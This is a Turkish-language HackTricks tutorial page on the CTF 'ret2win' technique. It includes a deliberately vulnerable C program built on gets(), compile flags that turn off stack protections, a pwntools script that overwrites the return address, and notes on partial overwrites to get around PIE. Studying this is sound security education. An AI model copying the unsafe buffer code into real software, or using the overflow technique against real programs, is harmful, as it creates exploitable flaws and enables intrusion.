hacktricks/binary-exploitation/stack-overflow/ret2win.md

108 lines
7.7 KiB
Markdown
Raw Normal View History

# Ret2win
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
- 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amacımız, verilen bir binary dosyasındaki bir zafiyeti sömürerek genellikle `win`, `flag` vb. gibi adlandırılan belirli bir çağrılmamış işlevi çalıştırmaktır. Bu işlev çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Genellikle, istenen işleve yürütme akışını yönlendirmek için **stack** üzerindeki **return address**'i üzerine yazarak bir zafiyeti sömürmek gerekmektedir. İşte örneklerle daha detaylı bir açıklama:
### C Örneği
Zafiyeti olan basit bir C programı ve çağırmayı amaçladığımız bir `win` işlevi düşünelim:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
Bu programı yığın korumaları olmadan ve **ASLR** devre dışı bırakılarak derlemek için aşağıdaki komutu kullanabilirsiniz:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Programı 32 bitlik bir ikili olarak derle (bu isteğe bağlıdır ancak CTF zorluklarında yaygındır).
* `-fno-stack-protector`: Stack overflow'lara karşı korumaları devre dışı bırak.
* `-z execstack`: Stack üzerinde kodun çalışmasına izin ver.
* `-no-pie`: Adresin `win` fonksiyonunun değişmediğinden emin olmak için Konum Bağımsız Yürütülebilirliği devre dışı bırak.
* `-o vulnerable`: Çıkış dosyasını `vulnerable` olarak adlandır.
### Pwntools Kullanarak Python Sızma
Sızma için güçlü bir CTF çerçevesi olan **pwntools** kullanacağız. Sızma betiği, tamponu taşırarak ve dönüş adresini `win` fonksiyonunun adresiyle değiştirerek bir yük oluşturacaktır.
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
`win` fonksiyonunun adresini bulmak için **gdb**, **objdump** veya binary dosyaları incelemenize izin veren diğer araçları kullanabilirsiniz. Örneğin, `objdump` ile şu şekilde kullanabilirsiniz:
```sh
objdump -d vulnerable | grep win
```
Bu komut, `win` fonksiyonunun montajını ve başlangıç adresini gösterecektir.
Python betiği, `vulnerable_function` tarafından işlendiğinde tamamen özenle oluşturulmuş bir mesaj gönderir ve bu mesaj, tamponu taşırarak yığın üzerindeki dönüş adresini `win` adresiyle üzer yazar. `vulnerable_function` geri döndüğünde, `main`e geri dönmek veya çıkmak yerine `win`e atlar ve mesaj yazdırılır.
## Korumalar
* [**PIE**](../common-binary-protections-and-bypasses/pie/) adresin güvenilir olması için **devre dışı bırakılmalıdır** ya da işlevin depolanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun yüklendiği yeri belirlemek için bir sızıntıya ihtiyacınız olacaktır. Taşma nedeni olan işlev `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde 1 veya 2 bayt **Kısmi Üzerine Yazma** yapabilirsiniz. ASLR'nin çalışma şeklinden dolayı, son üç onaltılık hane rastgele değildir, bu yüzden doğru dönüş adresini elde etmek için **1/16 şans** (1 onaltılık) vardır.
* [**Yığın Kanaryaları**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır aksi takdirde tehlikeye düşen EIP dönüş adresi asla takip edilmeyecektir.
## Diğer örnekler ve Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bit, ASLR yok
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bit, ASLR ile, bin adresinin sızdırılması
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bit, ASLR yok
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bit, ASLR yok, çift küçük taşma, yığını taşmak ve ikinci taşmanın boyutunu genişletmek için ilk taşma
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonuyla üzerine yazmak için format dizesi (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bit, nx, başka bir şey yok, EIP'nin (1 Bayt) kısmi üzerine yazılmasıyla win fonksiyonunu çağırmak
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bit, nx, başka bir şey yok, EIP'nin (1 Bayt) kısmi üzerine yazılmasıyla win fonksiyonunu çağırmak
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Program, girişin boyutunu kontrol etmek için bir sayının son baytını doğruluyor, bu nedenle son baytın izin verilen aralık içinde olması koşuluyla herhangi bir boyut eklemek mümkündür. Ardından, giriş, bir ret2win ile istismar edilen bir tampon taşması oluşturur.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bit, relro, kanarya yok, nx, pie. Win fonksiyonunu çağırmak için kısmi üzerine yazma (ret2win)